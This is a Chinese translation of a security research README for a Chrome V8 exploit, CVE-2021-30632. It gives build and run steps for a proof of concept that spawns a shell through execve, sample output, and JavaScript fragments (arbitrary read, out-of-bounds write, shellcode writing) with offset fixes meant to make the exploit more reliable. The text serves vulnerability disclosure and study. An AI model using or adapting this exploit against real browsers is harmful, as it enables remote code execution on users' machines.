CVE-2021-30632

来源：https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632

此漏洞的分析可在此处查看。这是一个由匿名研究人员报告的 Chrome 漏洞，据信已在野外被利用。

此处提供的漏洞利用已在 v8 版本 9.3.345.16（commit 632e6e7）上测试通过，该版本随 Chrome 93.0.4577.63 一同发布，是漏洞修复前的最后一个版本，测试环境为 Ubuntu 20.04。我尚未在 Chrome 本身上进行测试。

要进行测试，请检出 v8 的 commit 632e6e7，并使用默认设置通过 tools/dev/gm.py x64.release 进行编译。然后用 d8 打开 poc.js 文件：

./d8 poc.js

在 Ubuntu 20.04 上，它应当调用 execve("/bin/sh") 派生一个新进程：

./d8 poc.js instance: 81d42dd elements: 804abd9 rwx page address: 22c70c88b000 intArray addr: 8105d79 intBackingStore: 56498ceb25e0 $

在其他平台上，Shell 代码可能需要进行更改。

该漏洞利用非常可靠。不过，在测试过程中我注意到，某些偏移量似乎对文件的微小改动非常敏感（甚至添加注释也可能导致问题），这会导致漏洞利用失败。这种情况只在文件被修改时才会发生，通常表现为某些地址出现垃圾值，例如：

instance: 81d42dd elements: 800222d rwx page address: 3ff199999999999a intArray addr: 81067e1 intBackingStore: 3ff199999999999a

在上面的输出中，rwx 页面和 initBackingStore 的地址明显不正确。根本原因似乎是 elements 的存储值不正确（800222d 不是有效值）。这通常可以通过修改以下与 elements 地址相关的代码行来修复：

function arbRead(addr) { [elements, addr1] = ftoi32(addrs[1]); //<---- change this to [addr1, elements] = ftoi32(addrs[1]); oobWrite(i32tof(addr,addr1)); //<---- change to oobWrite(i32tof(addr1,addr)); return writeArr[0]; } ... function writeShellCode(rwxAddr, shellArr) { var intArr = new Uint8Array(400); var intArrAddr = addrOf(intArr); console.log("intArray addr: " + intArrAddr.toString(16)); var intBackingStore = ftoi(arbRead(intArrAddr + 0x20)); console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));

[elements, addr1] = ftoi32(addrs[1]); //<------ change this to [addr1, elements] = ftoi32(addrs[1]); oobWrite(i32tof(intArrAddr + 0x20, addr1)); //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20)); ... } ... var elementsAddr = ftoi32(addrs[1])[0]; //<------- change this to var elementsAddr = ftoi32(addrs[1])[1];

不过，这并不影响漏洞利用的可靠性，因为只要文件保持不变，偏移量就是稳定的；但如果 poc 被修改，就可能引发问题。我不清楚导致这一现象的原因，但也许可以通过在内存中匹配模式而不是依赖固定偏移量，使该漏洞利用对此更加健壮。